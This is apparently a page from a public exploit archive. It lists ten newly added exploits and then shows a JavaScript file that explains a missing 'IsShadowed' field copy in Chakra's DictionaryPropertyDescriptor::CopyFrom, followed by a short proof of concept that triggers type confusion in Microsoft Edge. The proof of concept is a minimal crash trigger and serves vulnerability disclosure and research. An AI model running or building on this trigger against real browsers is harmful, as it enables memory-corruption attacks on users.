16744756bc
10 changes to exploits/shellcodes TP-Link WR840N 0.9.1 3.16 - Denial of Service (PoC) CEWE Photoshow 6.3.4 - Denial of Service (PoC) Microsoft Edge Chakra JIT - ImplicitCallFlags Check Bypass with Intl Microsoft Edge Chakra JIT - Scope Parsing Type Confusion Microsoft Edge Chakra JIT - 'DictionaryPropertyDescriptor::CopyFrom' Type Confusion Microsoft Edge Chakra JIT - 'InlineArrayPush' Type Confusion Microsoft Edge Chakra JIT - InitializeNumberFormat and InitializeDateTimeFormat Type Confusion OpenSSH 2.3 < 7.4 - Username Enumeration (PoC) Mikrotik WinBox 6.42 - Credential Disclosure (golang) Oracle Glassfish OSE 4.1 - Path Traversal (Metasploit) Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection ADM 3.1.2RHG1 - Remote Code Execution
38 lines
No EOL
1.7 KiB
JavaScript
38 lines
No EOL
1.7 KiB
JavaScript
/*
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Here's the method.
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template <typename TPropertyIndex>
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template <typename TPropertyIndexFrom>
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void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)
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{
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this->Attributes = descriptor.Attributes;
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this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;
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this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;
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this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;
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this->IsAccessor = descriptor.IsAccessor;
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#if ENABLE_FIXED_FIELDS
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this->IsInitialized = descriptor.IsInitialized;
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this->IsFixed = descriptor.IsFixed;
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this->UsedAsFixed = descriptor.UsedAsFixed;
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#endif
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}
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Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.
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PoC:
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*/
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let x = 1;
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this.x = 0x1234; // IsShadowed
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// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.
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for (let i = 0; i < 0x10000; i++) {
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this['a' + i] = 1;
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}
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// Set IsAccessor
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this.__defineSetter__('x', () => {});
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// Type confusion
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this.x; |